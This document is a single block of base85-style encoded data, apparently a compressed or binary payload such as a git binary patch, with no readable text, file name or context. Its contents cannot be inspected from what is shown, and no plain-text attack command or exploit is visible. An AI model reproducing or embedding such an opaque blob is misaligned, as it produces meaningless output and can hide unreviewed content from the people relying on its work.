zX2W;IcL_^?{?&mK4ta_%5~pOvj&B5D*<O?Q@tDsepk1k=UJNCOWJx8N7X_X1sa2p! zP@6KNOWZ~yaRZ&SJ}-fHuh~`jEc$y1N^XX{aHJ3|mqXRkuAchPcsBpsJYW?Gh;zr6 zXo!bfR!8|7c2$uL$>?LW=2VNGzJ9P{wMu|LubGuWh#a|H6#-jZB@COgSAx1_mroFC z7TyuW^8$O<G{(7qpTlhnw$R)@mO%6AraBZhiM;@{LirsM6j{y?`{~;JPTy>mpqN|4 zcQAvp6PFM{Bh2e_%xi+&ElmcTFv~@!N+&mZN7CPJ!&OIyPtj^;vBD<8FC8q~`AY{* zf2f14A9aA{+(TZYr=@vC5){FcA-YJUSR<z;s3%is{)G0kN!icnwYgqTn=tM!*4yLj z%AwWxg$1$~FzpSMqI42_Zx};ER5JxpU9c~Ri^FSRWn{Cb%946Nu(@h+OiJq~B!%*` z?dSDXG!*vRpB3imbDFDGnqKVd-;r_8EyL6{aqGnje(q<1nw~<|2Xn3>P^lGQcN5S= zrnE?I_PrpHaeiVqnVZW3#yh)r!P5QcPnBrQC#!C2Xmu)Wh^{^XtaTagrwr*Pk8H)w z!UKmQ%YYUx)w)+)^vDg<PGay>$bh^vPj77iOf@uU8(Eo{HuhZ;KV|as1nw;i{0)Jx zP5JmXn+|x!E%uC?E;I=?1X}=)hCfdt4#m`>cUlFViMB60S`zW;`?*<LeN!jn`nCBZ z^1ARFcuec81m$}U>;PrJCh>V6m=YZVAjJhiZaU<0FmH1meJTvHR`xrQ$0AQ((L58n ztm@>c?x)(*!QqFx%V2hKrho0GuOujUh8qIkm7rqmuZiQ^T!XH3Xmx6hvRN)*&)!+% zqL9@<;i%Z_Z>#Jpg&m06J6Sq&yF`yCuqezDY*w8lsDqDf8Nc14<tvFo$gJBjXyzfX zh40l{s-ArLf6Dds#D!N+x}X|rE^@aLXBLEUrM4pSp2cR-VNMs`Tgf;KdHR-@({~kk zhxSd?oF|(^`;8f9Xl5N|bldy!y`Qs}lhS|A@9J>j(@$7q?)u#zYiK}q+FY-qymxg@ zmInb2%7eMaUYiL)8f^M_#O4i2ebgQI)a~x2sHcnXj+_(i;g}sMYtktXJ(YUSG5>|) zn^p0ZKRxL-QDhk&>}wi#aiD+5X?R{@OvpPQkb|jATF7&E^B`PeTB2XZzbdVhCO_gu zSMG3Vdx7t>pgZYZwa4#FY}VK8Hh(Q{#yawQN7tf70xvXgH6Q@ulXKA2P&)MfG@v=i zE~BRAXA?t)lv3ag5&~BDwMyrNArH@z9n*SHJsEVYygVc(E~&v~OLC**;f!-pFQMsz zb050s_APO;#R=STPpA6QV-nQzFq!v|;yGk>%k*A6ZOC$Od#6{P`QxGN&1QD<`v-W1 zVM$@|Zt*Z*f7C!_C-<+jVnc`k6GZ;oeNae4n)+mzN$J4$yJ>2U&Uv&F-%9k-%Z7F- zm+CsdmZ09X<k(U4g{qctL21-mejhD%v&(FBeh4hSm`QED@=#+XY3G#aNc^dM^Mcfa zqxVF15|pYvu%6%m#t-_qM!$F2V|a>#t4LBRY$}MBIp^K7_R;a-j>N*G{O5(U)_Uz~ z?)L7Uwtd|t{W)efK58~_amk$q{^lh6*h1GWwZN)1Q~ki(XyseS*5hgj{L9+PHVsd~ zyGO`!?sc-OFV(~w!e;~)tYfL1yOl}Xl7=YLK8}Qd0T(CAMHl;^)ci>;?5LGoc9tBQ z6u{8iGUW{%39`?JHeKoO*P7qcm%U<tvT^=`)LXo;A&+NB=gIX?>hfow=nGmVmAzVl zE&9|u32LD6IN%8tfG3<FfBVtB-J|bjHcT8)OW4+nN?F~QYopfOs<Mu!ojdfW{lV$` zGrK)I!W_@<w8%cWxsnoJ)>3uE>3HGyY2CCyQCRNJ<l+tqN-yx*1`hVB$Rw*g`5ZE@ zgfk;SUEhAbpcZE{;ifg7vaQfbRPv18E!T-BR11@@dUV+fDY%`4s~;_<HCIL!A?V7A zzOq7ekDM9_?HQ<$)q6fn&)be05mr43uSFK|0$GX69LZJs#S6ZPW!~D`eQ=a^97@U0 zt}k(YUJ~eoi(3}gEz*F4F<yANA!F4%PL!uXYFs)OffBfTV@Y5(%nF1;s2eZr%lg^4 z{2|bR9)thBj|3WYhRLn#29CcXetwX7*H5KsXD)RWe?y9lb%5S)A-)jWKjRS}RD@XW zRztp-naLfS7yNJ-D#X8%UC2v0k>60D6~H(WXHoOIWkHm;x06E?9wJ>b<Ni=Jp_75r z<f%E<m#$%zsW}oY>80M9KO~ISh26N5JCP>H6u4DjXja!sohZ&;0`_z5g(Jn3R}5nb z%J$aY$i9ve+e=3De!d+Rk#ae)BUWJ#Zsy^Kvulu5IhYZhdp{A#+HYsKc8DA}tv4Pu zlsXs}xuuM_?xkPR3g}_j3b%Fmt<wCCyt`uX-8Oj8vLs}@Z3bc~-7-ddTlp+Xd(7K= zqJE}sMNk;EbnR&E2e6_Z1z07^K3CtU!*Fw$(9RC)cfPhLA7bXw(E}JxEwo&M;w+Ly z%u+FhX62KZ4;}RNvZ+6yMW+i+nx?4#Bx_t=eEZH1bP1|t+#aX;GksBz+l#e5FslT; zGADL(fs?#d(+tI2o$_8h;@+c8bEv_9EsSB3B|KG2(+d5{cs*}3Gr?N#e%3*^Q^6^( z-SyH|J@lIF>a00O_pXudOe59xz#4?OPIj@6N4qt-6V2pHPzl~VKg`%GS!Cy7%z1JI zdD;h(g?|}lM%op>p~?I(Gr7!}vgH1oP+UJ0ji5ze7m{rg%I#IwHt9YaYa0?6Q&>S- z1zG9zcjPk9)6MSwiKox|#04oL0+Y#IEsc(0+b5{G*Krm0#w)Lk9OX3W1qi|uSqtN| zjkGrl5A6yr&R#uPe>?eXVj$sR=j<?f^CjWgFhk6g4@OqH;Vl^0K5@RW3Xxw3MMR8v zNCQ^WT(yWf4x}XX=9Tk-N0i`8U|dUXb$FDs7xMI9)iAHWTa*yU^iBwxi7~7AlSPhI zFt@qetEJwV?-Y>MbGWeZd5xxK6R;M$$K6g1XY{O~)^BK}_&vY-<J}`ooyTc4p1bnT zC)PXA2|~EIlf?5jLzH(j$1h1xU)6D@Bq-Dau!ReG#~B!FXId>D3FvrrO^6B7Hfi>m z`rtZLUxhaeC3*Xtp>@HUz={1l(>PiDNCR@B3F0jxRW%gPJ*(-t2~WDav2h*5a-5Ps zd!Et23urZ3CWv-Sd)G+|PY)w{&NB(>c&(vj-;qfXu?VZ?EgqYgW-JWT?j<h~?QI-I zHu5TXov&ntBV(q@hqb<qOjvV$L6rKGoE!UD4`X*&(Fv;?5OcJcA(l^&6|KccP-`Dc zQ048^I)PdMnx_LHx~_EvBsDc{K6z=F_r!K|eo#5<5Y$zg2u=EH;M!+THuw>5n1%|o z*6+5yd#pIZq=~xO*85b(E-0nTqNMM5j0B~%#yrahPx9@no4`blm0Gc21+V<J8X0<# z|Ah<OAP@f7taEUQ{wN<Vn$;u=mq$oY#_<uzA~i6YTqXGfkA|lz#8RrYoRixY9@X0j zDZoF^dV5=9E8^F8h|DIi*XdvLlB@L+_ScK{_kJ^Q)w@Qn%aHWWIWxC9tM7TM=B&F9 zxhFqo5WR4^CfZ2b>S?_;$=b)qm%628z@wo@^Mtqm)$=3r+T{LZo%9~BOfkE(XWnl) zrUiHX-`J-!Y)27A<cf<(u5Ytbkk!u+c=s@IZBQ07_olAwimqYR{m=6Au56|FrRxeG zQQ;(+g{6;!;zroPC0~nMTKIb6exI(SJFxV2Kguenx@AFUT<Y8(_c-TrXC^f)j7Fb0 z?|aRqbe_I?9uB?eV}I5iXg0{l+%)~;IijSR7Nmur{IRk2Y4!0BF(G9BPN!FK@!<)q z?tnV;SYMrV?VOGIv74t9Sq@Hacto4T%fh=#P=Bh6ghs9db9r)VcHM845n6CCmp{{) zSYjyL%MXAq`Il1Z(y}&DcW<*Mws>E!Rn$Jk#S2unngGX9*q%|a(MHQdt@c1A7`g{E zePSd$k_8R=RgYEzZ$=vLk((LM8YrR9YOh48KbZf2>H4h$hpK2HD+(FLahI1$Pz}N7 zq^jneY;0Y|jSeVcCbV-|%-a6RbA5z{)X76JCH=xATWHYkr|=y^QiyvETcixgLA7=B z1P~3Dwn#D9AtV=FA98sH_W~XzzbjSrO;UygwTyTecs?!)C8$NOC8(dLp_jc4m_cVC zE?zu^CXIsa6f3+!az)#XRFP|cc_}bKee&2$--+YWnZS1O(ZguYvuUD0NgL*zCyR)# zb|$DVZ~8J%U$Ec{wS3_PsGq-J!51v}f(8HCdO>4d<(R>_oNur0E4uEK5bR?|K8`h+ zvL*%8%Slk-rAd#eK>z#^W;mjT=CrHXP@KGRQVgoTbWh+@hr^`fobGE)lqp(IoKqk$ z>3&~!1jLYB1&V7KQ&yxp4I^gR*ngnF>O;&Oc!5&s2H-FYC;eHs`j#=R9Rw^bi^V_( zzCE%O7+n8QGgLQt$qRVUl@o!i6yShj2XwF{SE1hwLqlCE5RqR5l)2ECXr9>+BqExL zw#a~Jm)RdM93t@l@Kv6qKagSYjw&P9*oz@18ffy9Mrh8D`r>6hD}eHb0TIg|LS80c z{xYU7^YjIuMwZ@Xm!a^`%a5sc@KaK3>7j9~UWF@L0giI+91PgR4;OrJV0UXygEn|b zP<FGpeg^Vtn8aki94vKWlI3_Q*yhedoR%wjgiMw)j_Pc&E%&K<a`Z)Cz+#HuNdvRW zN5q}-31Pb|z%1>XuxlQrFQNN{9(qEJVoe=yj?>z(?LOHfR<lO?9;HNhr*Jr~lN&xU z_BMsJ3_U8lrMJ9R&I|G`rO_;K`s2o2KYJ`92rHOZ`&kHEEm&6V>?%aAks3XQ-7nOo z-|iz68MiOU-}jW>6c~vMXho1(7!t-l%m{yjmeWZs^R8XA>`eY7y@{RW0Hvf5sz|f2 zh6Dv-3bcQoo>%$VE?c?>UXT?%>FP~}M(IwT0{gsEeZhr-q&#<T_@b{Raa;ORU<1>) zOAkl!xIPvY0a_2m@xA3^N?ck8TWhSLwN`j*{B1N%T);mk1>EcZoO|XF5e3XGd8d}? ztVG50o9kDpHTBWyG#ZUM6>y$$LGuyLc)D{+)a=Infroz_rq0XD4#FKy8t<>J{Wd6R z49rHoD%^btS2{hf`m><5nn4`-s<pnPK*FU*`@gcc@SXh=J;j?FtwR#qcA50^pJ<Ey zO*%z>@m0^Q)(3^uoGfjc#yoNGykMf$+(nBUlF!bdYiqa&Js9GjX~(63Yy6*M%c4Av zX4Tr|5uusggPC#Ml_px#M}im70xYz<geJvsf|5vPRW!gn*PV^N1;V{G%F0H^#1z)m zqtBYN?+C+$h7>M>kB14yf-tyh-#QQ=`H5U1ej-x>!dHuv3~{;M0o=g23!aV;R}kbo zDR4?(ujLEJ=mo?2HR8ImSsS8acwM+^y&<0EB5f5{WmoXdX;x4`Ybh)o%ofVm29VAl z1y0#*i8Ls0-#U-a^}73&%92*Yd8{RVMxj<d`nJ*D1>1*#s3cUG;bKYR0?HWvJ^7|c zFKILKu0FgLNMTk7or1*rA_wY_tZ}#&7RNL}L0?&Y0?ii*`9+iXqH+BL1@?c2X4>R< zy;!#vIFrc-IB(Rs`d0MDas&VD%pv)w1{R9NyF{-=vL|P@VJ1d0pf&^Gi#gKwKz3bn zl)6;gM*;1rjbWOPz3gF6@+*TaK+tX<v3Qo-W5;K(`S#;5PYePqe$X@l2J)*+SU3Tq z`z95C$%V8P+3ZXassBV!Y=d4ZCQDHD`#B6TuL<HWCGrjw-~{T%${_Z9Em4BnfL)VU zRqqlZ+Tf@yRzL#<o)KdPZ13P@pS~J(VH$f1urYhUyiKIbq1j$*pulTjm`m%S!3R7% zBJ#qBuI*d*M|wRjjW!8DbFQ6(r;mr}gRPM+8aa@Hte_|%QL@)1DE6xqfB`4weHq$s z*Xqlx{h!4(k^kpO`S`*Zd?o!Wcy4Fl!CNNO92@b9w-OywBMG%gVs8;+M8x1CV<&n3 z6Q;6Df;=kdO3l;PTSU4n#ppU()W|4prG-2@>SSu01jQ5Rg1yA&n8$HxyA+Wdr-jI@ zTgkK6mIhwCmz#4;y!$&J(~zG?D~u&5{V}vh=ajfR$-bj;0zb9~6Mde(q0@>vNJ*YJ z<mi*VM6p#AWO7z`+jxNO0GQHb>%!0S7_%K_-A2nQ;er9tW-M6_c%FXn9%XRuJGMEE z3IimlJOarB=ve)Xd~v+tCE+pX<yjca2`gTR7HzTi%!8`9ppls9A>PHG%WL%T5c&_m zpXEji+-t;;3-M%;n9?#;p)%)uXDXF6o^91SKh_{LZ85G%cYLI*pX@?NM6hiMcR`>f z>|ne{oQ7fUh9Z3cSgl}YnY&zcF}*^l4XMdT?uXBY*Kq?NnrrB1q26cK&9kxrbBOim zts$;?K?ynljasdwT&0%X%D(NqUn{5f)*WieIJSLO51SbFEiav+XsqtadnJPrsyGo< z-P6ciqGolZ5_{B=aY=Zu7R`*gRhHH68E0(7>1w6jrIfA=cD#d+C3~sWdW!{FzaNq6 z_*@RTeieqQE!uXHD&3+3e0!T;rJRkU+3Oi=#%b*id`&+=oh18;$rrjw1Hu@)Fb|=H zQ&9Pfl|h!JYFs1v!@|A1!0M*%zDD;*J$7t|HiONW)zb<d_#+Z11b++iDj}<wq&s(Y z21V7`mgPGI&<ZAwW;}Y7l|P%|-UsE)s@UU_o|M{6)Eu6`R48ksY1e$mN>3>^$BvH2 zKQ$(AdvczE5V?fcu!m@d4|V2XekXQ56`D7MPy1!ZlTs;2^D2Eko61K)2MBr&A{V9T zzR)s<?eb&GW?6@v{5oJY;fYRsNA9S~*Av~fw<0n<i#?)Ud~<B7T!cn5l!g+zFf^6M z#}0Jn)x(TjV3hk*#{Nzu3K05-1sFNQ^K`?Bb&l~l8F@aZX&}V*ZKfc$q6CWRJ7Xne zuC&kf4%gzi3xY^O%yV2j4)1iL0b*S+gxk-<Be;GL(*`cutQY)8Ci#n)|Du8XBW>}E z2J*j81Nk_q7nm?U2GMRtd+AWTZ%npxXHeClW_L@25uemY*da{`Dh2ME@~MX=1Soz# z2%C{T1@U+ZNHGnGIGXm`7;x-aZQcx~Qgton<qc~S#aHJ+HZkg7xfHvdK`jZp>yc^0 zw0h4~t4Lh$bVqTC%M)5$D8znb`Q1&%Y~^><X*?0xI2f+M3w%$(m`_00#!?$g^;eMz zp4o$PT`uB>wgZQAj4QV@W*hAIFgx=i&jfvgUtKJ#7$ob=v7{4?sczhFsG&Md+i<nm zDWA@9Of|3|ik8#k^TiJhzZST}MF+E15tf9nm7q@7xpAF{Td7v>K?3=1H4fa3BM<P0 zB83Ne=2I1rv@Ye6E7_@0$7q+Pi`9`>-_*Dk@o7Jc?wd&`O3)r}i6z2V8)8|F*dO#z z0eJ`}5xUuH1#D|EzG`ft@z)|uljtBTSC-L!E+nQ=oO?8{d3-zTdkVuN;X*LozNZe! z(Dy;a!Nz41X^s;E5r%<cYHw;`=#A`bir<;~)9so270Zj&;?tANVu7g?7m(MleQzRD zJvsX_*l42u#Y-xew+Ey&2R@gexa*&Q_@Ezh4uBY+tK>;+m@J4h?vxd)n}7J1U;E22 zD7d9OEOw%>%rki~Buo&O=GVEAb}c**C~R0U%*@VYhc6CF!Yv9CFdVN|6ecM?qh7&A zjSF5mWd-9rM4{EURSR2%CH2OR&u*(~f<R}PnYtyO-wm(5;yLADvDcCEDlyBkCoMh$ zcH_&@8NBuAufo@RL5d>$;~<<_Qb*@;cq%L-_kP2sj#~`lrT|2C99zE%S`A|R>H3^i zMHz$P>l04qCoyM~+0vf+tBMJwM{mWkxxw{o9jv)}V)8hi5SyAD{?1q>f~9|%ido6a zFQ4T)uJ0QVxZZcma(1c2Yn3Di)07hWd`5?akGg5XnUx6tA~H0o*q49OwadwZ7G_gm z3AEKH`ZErCOo|Drs;HL78K`8X1mSI;(n|>rx-~8~CvzLH!2K5!hcARkeeK_oUrhSs zn1Xo<xF5`^IaD9Ep|_2$+|%ZYqo;Y|6~&oeN#5g8CqhrA@&m$3HVYFp%!OuAysYOT z16O>egJ-hPd6il1j~|{!yx;_1#svh+hu-_wwKlJ1RB7Vnyf902mtmsr@_b#Ck65@^ zj&JkL?P;0u>BBw?x^I{f$nJzg_3Lok-U!Fn)9`!{#5J3lI&twX*R=j0RI>PI<$+EB zw5rMhPQq_T>cnbs$r-@bKm=7{UbK=0R$8c_J_YN2Dlb8Cg9&}HKVH22zSZBjP0kzK z#4r?PssmkHksPIYvu)0~`d@vGAj_fGE*y+F;yh;hq2`}*;P(TfSca4Y)fP|=+%s}T zOaIHq^p`o%I0^N(+JM9_{{iG~jrAvUecABhf0%tc#W}6tYe6e2Dl94r9*EQKK6cxu zBN73ChiA!nAJLHIx{qT<#28-l78-F>X19@XBj9`woLUVY+{GD1RobUITHhqLK3#Wp z-p!h!)?BN2n|`5H5lC3@1un3^B{rRaKEAiBI}=iWd&HUSk}ImJhcfwAA_2%wA@dVu zx#PgV^_R?3vybkaxn`6#Dg}f9cuHE3d+*QrkP_7WKiZvHtG5KT<4bRd?*GM^te3fT z7&G-%8Ja5siNF-cE>FQDgUeUm_IEf188!zN9kGT(qCr*z2~_F&rd@3j&2aauE-aWt z3yd{}%2^}FvfZ|-=v^pp4^UcYL(y=Z4rB01Gg_uH8(WVaYShYc4N}1dJGux<TX9T3 zq|e8RXZDH|zSdYZf|)3yuU}a(fORq8Q^Hb(b^Yv4nmDts^jP1<`U^cZX#P&EQ2)9p z!!<b~BhETc=>1{;ZnT-x*0U3ekBc_<WoP*t!rP7?YPnNYXov4f@$DKGW_iVGggUsI zsmN--ELB{Z8KILp5lS=M$9oK7Np|>P5Fr_4!#0o=Ocz0U1(O)Y+-+;4z^np&WmSCN zo7?5g%EHjI!qr9Zkhf2)xRh2IwFEapk-H0J{uo|Et3G^)rc>lrg;_dgc#s+C*ItS~ z_5R$JL(O4({h96BGh3hnW4_#^lhNc0S~Y$qy~oC9k`_j(tF!GEGY1K_3xl<RH5%6{ z!a(FPf6c5K&CVLUOh=caLuOfXg@xb9{M|k-wf&-!&b~}C=bowA+U-f<F~F(4J~uf` zwimvREZ~I_m=1>fnPR(Kof~&;i)i&*+?&?;Z;5?>%VAVh8B1|GU0t1-o8Rw}{`w`- zfNbVyN9r1F>3y+EaA;?i^R@=h4JmJ&nv)$)BX#*E?tBE_vlm(yljr%Ca`M$K?zQ93 zzs+p*OT9Xa>o7zteq>L3J5lqmSD#HfNv`&2tIklG1ras$85{EHOH6ND3CfCu7A!2= zRaUB#YH;Bmv1WIa0*5EKmtof34+7DPtrY&kw}1Qd-;pnx2g_ee@gj~oCAgQ;Leon- z1J7FN>WhZT!oBJ!#6<_W<kjbnLv>Cge!$$Gu@7w}a_2;hmT}Bj$MWBIUo2<2x1>G} zcJ(Vh)8ez}Oyn7tlKW2M)o{qOI-WV^Op-vq@=XALnvLu^A`IvnToK;NkiSKHJgh&d zW3PGcyzb&L`!$&S2mD9f3+Sh(`B=QLnYqg=T*^%?mI<#^6X><g@~$uHydXgtDT}51 ziQ@>H4K<o`yxcTQFGgXo&pAEPE3c>8`}MI+F`g=H;CjZ6-Udt^iYCwYBm#v&9oSH^ zxQBrx!Bo}>*&xHPH<l^q6+YkCGrBx{qt&!e9(&>|nZjNqL|-6Vi|!UPdL*dF_l{)n zmXww&T^Ai94|cjSSgVzNszlTHX>>fML^xM!$x;)YYmd0m#P-jjx*`ec{oz@NXAYks z3Zz8NU@_-_29*eKPtC;hknIp71n8^lau?sV<;VwL*OuW$V(JU4;EEl3okad1V-TYQ z1<pdDNWArywD()4zH(Kbkb_cuh|rC1eQ4;ZdiY)VIfOlq%!+kVMw;OtG0o?tMM5&N zfC%3EDTMc+mzKg!&^t71Ks=iUO;mFtbushwe>}}$+_)=NJ|8MNDCGlEZ<1n=t5asP zpl5g}b#7AdJ1YO#yc?G}@vr^{U_9^09KZ`iz|r(8z?&EV;Q8TNz)$pNh?o3VL2UP5 z0r7vQCH?~Ne+Ewfzgc16l=y+n1zWWT`jzmX*%TmRE1@d%PMO8{m5A^Erw}m!7;^?M zkO~7_3of4HQlQ8Ov0WLt%m9@x#^;!*=F3e@q6Iyt{(~G-T`+_1mz{B%2NL84K!A@b z5PD2?@ojie22{L2hUV%|{BAJ+Su8W<*V(QU3g<W^=97VxZnU&|ZrQ)ORG+m;f->z? zk)T#Q@ASnCq(Bcu^<qZ1m@V);6i>dK@MdQazTyZHQ)q;2_`a|UsspRIpPwRxON5N+ z1|kp=--4jKC+Mkhh$m;nK;)qIb<_38cC^rQuH$J?uX2PbJz6I`!fP2RS6NrcBc^$+ z5?u1q-jZeXlXbB7HtVrPfS>9OVQ*qzTro9$-`auWn9oOZ@3clk?<ioGlp5eq`O3#J z)@{wYU|8n;j-a(aMjdmmH_nluB3wmZqbJ2INF)n1&KP^MD9rl=cuA=?vm56SWf?v; z-MPm%u49~Um=U0A+|n*ri0Ss4&h5y50jW@b)^V|TA6T*2Z&_vhUYCO=P1)HW3h$`h zMSC4_|Gs;zR=XdcmMn@c3#b{4dEg~LzwjPYtuWs7Y$BYtig-z8yy%k8!Yt?N`kiMd zlkE<-{-nV@UUI*4JHwQfvY75Rd6n~eVPYZaLg1wZvwJ<FHXlwsOrP8<K>=}JWCs^c zUv4vSAH>Wcpx8hnL4w*yZ54+DNi(RVIF8PTBRkD_7OWEG^%vRZ%{jVRYwTrqSLuZ- zmE2i)#qaFYxLxVbGy_qz=qTKsyPWEkm!)oMHrQ_ObS24Qot>BSWIy5|Uk(=*T$UAC z;DaQnw3)dSc*w^SM3hw&&JqO>s7Hi5cn*>0Ic3zQbn}WWm*`rQv|WFe!K$NKDp+nS zQJb<q5#=zx{`3)UP2ncI{ux*A;AO13`68XXe7J}ccbjSH;p%a<t|9Co>&I=Q6dzGW zV9nWgUbX$Ziy!xeW~{*!XO1}E%Gt8Bf53=DI+N*~E2Ax10_qsdOqso{a%otEVL1TD z-}fLF?o|e()6o?Apd12?i9x9y!X6H79}m=(hzfzCSai;_1{I+x^0Si42K#e&oVEzP zkI2>an-vnsBV6FY3;@zTQbmsE=Ek{!^IRneGu~zr*>7M^@xjFUd7OE6)!XZ0&F13m z)@!urJ~xn1&HSAjZ9i6#e>`6E)YFcOvnQ3|3k0INb<}5#GvD~nlS!;CXyF8B)?K`l z5<a7Z1Z&R@r<yTu@<V!{fjSAwyV3@m@k53|0sm2${>u01?|0Ixe+WJeY`THuUB9*L zDt;8@lAigI9b%u#9#BbE`af7NL~HX0w3~%@g0go-lznVif2^KwJ3L+tUD#Rzh)*!D z9b&WthxQmYIWKmp?d*U&Jr1K3L42BOZ%yRgcMAvGnSFb;g~GWVL&`^YnbS601^8a4 z&<QO;Vfw&A?Rq7~AeRGhvs?(-Yx<kt?FLiYY>?wfOBJvs04v(jJlG0w`}HKT7`*>h z{YQ7rA?kDQ#ZdDks3`=;li!AK1b8p)4(db#uX}I7$G241D5GoIeX?WcA&~?{LKf60 ze+1aaci3d&DGUC=FJngC`VY^u@!2`#umH#bcvh9C&E(>5pWW&_T9_YtZSsD7YG7v> zng;}EajbpRg@@+ouMTJY*y~jlM+r8^u-wy1ubk8BEo#)tRp|~(4fM3;vI7w%E4GnZ z0x)g<^{rl11@mirMAl1#Z|U6&-ip2FhHN>>NCQb9%WDt>&{~ye;Lu!gR}g{x=i;su z6K$}<7XK!$X*u^C;^sN+_gwgs_3oOdTcG=$9<u<5X8;JzpsKq}!w#yuz4MHF?bpCb z@bzzZpnv)O-`a^<yezJ8RhigM%&hU@{+zA7vDh2Z_lS=g?9>M)`?K}?&@Q|P?g)n# zt?M0Q>%x<IpLogcSrs|m%i8S1g)Pk;CHKc>^{c@af9)GkWTc7*0lD4E0eeCe5WpWo z_^wg6P9{{Xv^O4gR~;tv&J!aT(>}Q6ztn-)2{wk{5g=tun>i!k5wHTiij%1dq2EYQ zTcML#fW9}+lI=io0XGqdT1oNZ0l9m52QW8BVVHRc8mgy;8GsP*)ex^TEW<?QEv8yK z8#E{10Ur{xFwCcOZ3;w&b8RrZN;Q!lrkpL%%Z<SCq+}(i)w!|iDeYDKgCmO2zz3M4 zIt=s9Lw_A18rf;~*(W}N2|V%7U{Xi&ut>NC+c+BlUh@m!jlWcV0CUx=K<2bVvY5e+ zaG>_QUk8eJ&`%^2J<xr!e*-BK=x$FDl{uJ<08HNin9%?5sph{-#DC~15T{rWHaCIa zVE8IT-g!6zp7ue@VmQk|Qu*JTzmFQEAj;az0kN`GIYT6MRf4*St-fbH+ADfE6Aw>K z;&>}(a3VciIYXdFj3D!*rT-jbD?{SUA~7k<0c73_U;>%>6(!UOr*lOjz-kFtfSez< znTE>U=jJ5k94{E)$af%b{a1`Y{~3>foIuZE(x<KVBFdUfwpiKh*Ad<x>C;f>UO<iu zDsg<iwrH_{_Gt@X`o3Px11f@PJ!cl6?fYLa-8{<ZC+HsTZ@t-*J2jbrNhEmAwf$vC zK0y}9(s@h<YFHa$5-%ewIb&0m+<@YSHvtW$PO*igTMMhl?f96s+*|5tHFEB**(o(! z4+{qnm0Ai|h&{j?^CAVHe`YSAvxWA}RHrp#YP>*CZgB6pN0U?!>{6f#Yw!%BQsy`9 zb~3tFnfO7zR^jO*xG46tpT8OK2?BOyhrD?BQJtLvtWLV^PerNn&E;p?y0kFv2hz5g z{j+L7mdPo@_b~THke)Ztz;wi?RiMNX2ho#%DN^OGK(HZB5{02V0XjBlb-qq(dl66= z*Q%*o;cCy%iLJ+mU__Hv<96oiIX^buRIQP!s$hAuhC>}E`~L*|(jGg0>!13>NAh`p zl=FDWgt8R}$qhYqA;r1Ja$Rom3HssNv@ph{YP@)9KJnH1uc0?ZfCpVYGq;StmY=vk zR}5`*FlRTSq;ebN&-KkBGIv3`9$5NoRga)|e|w-;Z?A#o&EI{DVO|(QPjAOT@7n?0 zT>jGLlWF@hKVNX;e=%JcMgPvt{G3x)RfAp@boWRL#ZcF8*3rKSo3}0gj$&YBxjMe< zBCG{=8Xp%=K?V3>*Zi)~%BS^NzO<tMTB+vCOnjM%FVrFY2X&nOD0TRMWF5*uf1&~n z4Y0V0I@lfiA2^q5)s_}!)}?DE^V4fe&P77-zI8DmB1nc80TlVi8FPj7xYo|)e!1yd zVMhfaI#Q;bzMj|a8(j{T2PoOl-ZDZQe7X~mMKfxmEnq+Pn=%C@zZ@H~#odf|!PqgG z4kC~~lfA2I+n1?1jQd>PCW`MBB_Ms0OZ~ed377v+pATf?(sMIDTjF6*>dVOfS}Nnq zoc$Kdzu?(#tB(BlrcI$5^A&X!JOQdUgRG(JB2}Z<ev0>k3FzhK)SSV1J1j1aA*9v< z9qyA_5nssvZzXEJkpCC*|3^iK{(F=E|8S)tg97#TYtOdOf$!vFP3n*2#qU#*|Np@! z_z%w%7}r5B3ECw#)af7-p{Gd_)EK(swU~H8o9oJ$!3Bz;1f;4vN2Mf2y4UKaXh+go zm)(xST|wS;1U2!hZV?e9#`jnyK*G@Ud5nbxxzgTf`GQc)I-D-~dOUXOY}bS;u<aL% zn*-X*fT0eGF`fz4%M$K(=9Qn|&|{N_l9uN`ZPwn7VP$ZV^8BH5w@p^fMm7ZFX4BKz zlRoxBSSxIbiCZ&_eAPUzyIvzmZk)Bmr%z~-jRm>6gz2DEGkXw=r5S>cN!lGMmYbCE z7V1uWy1E#w-_p`k-P7I4hGXY%!eJ)D$h$-Z(o^e!F?V#tO)sArx?Z|6nw8=2*+(NE zYdHP1xM>?#TosgD7F3$c?Xl|=`2%m{S3l*0O2J5?2aDI=Xo%xJiV}|InR9cc8D@vK zZ;piDgEZPf#eqMG!Y3*VQ{4$38Er$fRrxi3xoPLP_UV(=2`+tylTAn=z?12ZLDouF z9f6oNKU1B&_k<ZY((lB@yHiT->3Bi+?QMr)jPTyPhFXsN%b~|SlJiy8GA~yp&h)Aw z0>Lf0hI_p<4vWjLRCxNh&oV*O>Yr2coUyEQO)viYolYi%%|FrT23O7VTT|;#hxR-8 zG@dyctzBKhfCP;9hy+#Rx}Hgl>`~=}73X`B>NhzSkJ1ZDs8Pc`BLm%2l^TYYpzJ~( z_93s9RpWh<LZL46-fKZ{)C$lHwKQnyQO`Yn=tS(w(;cAJcwGrnxmnECu3Z3^h|isv zkiBx6L#h~IEE#dkZ0|Vfg-`4D@|3E+eJGdOH%aQpllt3D%b4)8wsRfV-rfi2lZ?3> zVAy#(IiW{ipBCE1)!i8hC3FMNZw=ediLByHG6oK?ABvsE5LMynVYKfgNgP5S6YBX0 z8KZWTP*z%$p;e04TKlvNahg>V)uYw-;p9duy@|WtHDw@{be*t(q_15z0hL3zmbjwe zTlP`vnSa-9_ZRow-~0LRxb*(sdp`YaT>ho&623lf)<bj{E>K1`O^Lwyky2oVkfVf- zZZWx3KAG3iTjfnTDbCY@m*R%)p|UfRIUC#aKsE}nF?2z3Pww`5#N0jG?L9t-<HY0& zv|!Oyc!1OeT%*XW(EloMimVxNm1?oId&iD{Iitw(=*YQ6nXRv<+vB(@*SK&FQ<PR3 zgyn|53*Qi=^uC$;6WkWhj#6uu6Wa2}^&csBWBmI;nT$n@yFOl`r99aO<rA_@dMWKT zkM>f~*OKb4^*I0WrejZE;I$diwXrVYmco%YrSd{kUPL)#WvMnR#!H=AVkK*GK{4s> zx!Wh5D(<9YjUG<!fT6%HexW^9q$7LlVXKbiu{!LPmoD;k$eXCfW7N5VPl5art(HyE zm)H>59jjkfyFzFPx7t3dm!Qrj;8%17d1=-GnsXbb?*Pn7xa!sVy<@9}|Fm~hc!=&5 z?8Fe>XsWwTewtcG9373DvMb?m)52S=9a3i!Go89E7KssCYJ-)A1Qp!ST?jmDnpfV1 z8wT~3hxnJ>B2%{QbS$eV%r}ZDecE0iL5+mhX{r_|OHf01DJMBqV^X~g>GmP}4twhS zEw}r{*S%v5T3AkYB=#el8u_QdWqOI=!8N~E^e9w%bcCa6+8E}|Vc1T%zj3@r-y#ev 